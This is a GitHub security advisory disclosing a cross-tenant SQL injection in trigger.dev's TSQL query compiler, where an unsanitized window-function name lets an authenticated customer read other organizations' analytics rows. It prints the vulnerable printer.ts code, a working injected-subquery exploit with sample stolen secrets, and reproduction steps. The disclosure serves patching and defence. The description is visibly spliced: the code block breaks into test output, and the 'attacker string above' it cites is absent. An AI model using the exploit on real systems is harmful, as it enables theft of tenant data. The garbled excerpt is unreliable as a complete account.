GitHub Advisoryadvisory · npm

GHSA-9q4r-4842-93vw Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name

HIGH Published 2026-10-02 Modified 2026-10-02 Official page ↗
Ecosystem
npm
Packages
trigger.dev
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-639, CWE-89
Reviewed
2026-10-02

Affected packages

• npm trigger.dev: < 4.5.6 → fixed in 4.5.6

Description

Summary A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse. Details Vulnerable sink — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`: ```ts private visitWindowFunction(node: WindowFunction): string { const args = node.args ? node.args.map((a) => this.visit(a)) : []; const funcCall = `${node.name}(${args.join(", ")})`; // payload 'tenant1-public-data' (attacker's own org) org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF', 'VICTIM-SECRET-db_password_hunter2' (victim) Baseline (legitimate tenant1 query, guard = org_tenant1): -> 'tenant1-public-data' (only own data) Exploit (injected subquery, guard STILL org_tenant1): SELECT 1 AS keep, (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, count() OVER () AS w FROM trigger_dev.task_runs_v2 AS task_runs WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...) -> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2'] ``` A caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse. Reproduce the compiler step with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`. Then run that SQL against a ClickHouse seeded as above.

Related

Weakness · CWE (2)

  • CWE-639 Authorization Bypass Through User-Controlled Key weakness
  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References